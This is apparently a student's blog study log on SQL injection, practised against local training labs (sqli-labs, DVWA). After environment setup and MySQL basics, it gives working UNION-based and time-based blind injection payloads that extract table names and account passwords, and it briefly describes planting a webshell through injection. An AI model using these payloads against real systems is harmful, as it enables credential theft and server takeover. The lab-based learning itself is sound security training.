粤嵌科技毕业实习Day9
环境搭建
-
Sqli-lab环境搭建
Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW
把压缩包sqli-labs-master拉到默认网站目录解压,将最里面的sqli-labs-master,重命名为sqli,转移回网站默认目录
修改sqli里面的sql-connections,这个目录下的db-creds文件修改数据库的用户名和密码
访问http://127.0.0.1/sqli/
-
DVWA环境搭建(默认账号密码admin、password)
Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW
把压缩包DVWA-master拉到默认网站目录解压,将最里面的DVWA-master,重命名为dvwa,转移回网站默认目录
进入config目录下修改文件名config.inc.php.dist为config.inc.php;编辑里面的内容如下
打开http://127.0.0.1/dvwa/setup.php
-
Pikachu环境搭建
把压缩包pikachu-master拉到默认网站目录解压,将最里面的pikachu-master,重命名为pikachu,转移回网站默认目录
打开浏览器,输入http://127.0.0.1/pikachu/
-
Upload-labs环境搭建
把压缩包upload-labs-master拉到默认网站目录解压,将最里面的upload-labs-master,重命名为upload,转移回网站默认目录
打开浏览器,输入http://127.0.0.1/upload/
Mysql数据库
-
MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。
-
MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
-
MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。
-
因其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。
-
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
- 在schemata表中,schema_name字段用来存储数据库名。
- 在tables表中,table_schema和table_name分别用来存储数据库名和表名。
- 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
-
语法
# 1:使用SHOW语句找出在服务器上当前存在什么数据库: mysql> SHOW DATABASES; # 2:创建一个数据库MYSQLDATA mysql> CREATE DATABASE MYSQLDATA; # 3:选择你所创建的数据库 mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!) # 4:查看现在的数据库中存在什么表 mysql> SHOW TABLES; # 5:创建一个数据库表 mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1)); # 6.导入.sql文件命令(例如D:/mysql.sql) mysql>use database; mysql>source d:/mysql.sql; # 查删改添 SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2' INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....) UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 DELETE FROM 表名称 WHERE 列名称 = 值
-
常用函数
1:system_user() 系统用户名 2:user() 用户名 3:current_user() 当前用户名 4:session_user()连接数据库的用户名 5:database() 数据库名 6:version() MYSQL数据库版本 7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数 8:@@datadir 读取数据库路径 9:@@basedir MYSQL 安装路径 10:@@version_compile_os 操作系统
-
Mysql注释及字符串连接函数
-
注释
--%20,%23, --+, -- -,/* */,/*!*/
-
字符串连接函数
1. concat(str1,str2,...)——没有分隔符地连接字符串 2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串 3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
-
符号与十六进制转换
0x3a -->: 0x2f -->/ 0x7c -->|
-
Sql注入分类
-
依据注入点类型分类
- 数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
- 字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
- 搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’
-
依据提交方式分类
- GET注入
- POST注入
- COOKIE注入
- HTTP头注入(XFF注入、UA注入、REFERER注入)
-
依据获取信息的方式分类
- 联合查询注入
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 堆查询注入 (可同时执行多条语句)
-
基于get型的联合查询注入
# 1、利用order by 判断字段数。 # 2、利用union select 联合查询,获取表名。 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 3、利用union select 联合查询,获取字段名。 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ # 4、利用union select 联合查询,获取字段值。 0' union select 1,group_concat(username,0x3a,password),3 from users--+
-
基于post型的联合查询注入(抓包)
# 1、利用order by 判断字段数。 # 2、利用union select 联合查询,获取表名。 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 3、利用union select 联合查询,获取字段名。 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ # 4、利用union select 联合查询,获取字段值。 0' union select 1,group_concat(username,0x3a,password),3 from users--+
练习Less-1
1、选择Less-1
2、输入?id=1
回显正常
3、末尾加多一个单引号‘
报错,语法错误
4、可以在末尾添加%23注释掉后面的内容,使其不报错。
5、用order by判断字段
从1开始试,直到4回显不正常,说明有4个字段
6、用union select 联合查询
把id=0,从而显示后面内容
从4开始,往前减。
可以知道有3列
7、用user()和database()替换上面的2和3,可以查询数据库信息。
8、0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 获取表名
9、0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 获得字段名
10、0' union select 1,group_concat(username,0x3a,password),3 from users--+ 获得字段值
得到的便是账户密码
盲注
0、修改配置文件mysql.ini
才能开始实验。
Less7
1、进入Less7
2、把一句话木马插入到网站目录
3、虽然显示语法错误,但是a.php已经被写进去了。
4、用蚁剑连接一句话木马,进入服务器。
Less-9时间盲注
1、进入Less-9
2、输入id
可见id无论对错都是正常回显。
3、使用 and if(length(database())=8,0,sleep(5)) 判断当前库名长度
and if(length(database())=7,0,sleep(5)),加载完成时间是7.16
and if(length(database())=8,0,sleep(5)),加载完成时间是2.16
显然数据库长度为8.
4、用ascii码结合网络延迟的方法猜库名
and if(ascii(substr(database(),1,1))=114,0,sleep(5)),加载时间7.08
and if(ascii(substr(database(),1,1))=115,0,sleep(5)),加载时间2.08
Asci码=115,即首字符为s。
继续第二个字符:and if(ascii(substr(database(),2,1))=101,0,sleep(15))
Asci码=101,即次字符为e。
重复以上操作,得到完整库名security。
5、猜完库名猜表名。
and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)))=101,0,sleep(5))
无延迟,说明首字符是e。
可以得到所有表名:emails,refers,uagents,users。
6、知道表名后,就可以猜users表的字段。
and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1)))=105,0,sleep(5))
105=i,重复操作,可以得到所有字段:id,username,password
7、最后再猜字段的内容,即账户密码。
97=a,可以通过改变id的值,找到admin用户是在哪个id,然后再猜密码。
and if((select ascii(substr((select username from users WHERE id=8),1,1)))=97,0,sleep(5))
可见id=8时,首字符为a。
再猜id=8的密码:and if((select ascii(substr((select password from users WHERE id=8),1,1)))=97,0,sleep(5))
首字符还是a,重复操作,最终可以确定密码是admin。
打开phpstudy的数据库可以确定是正确的。
本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13694018.html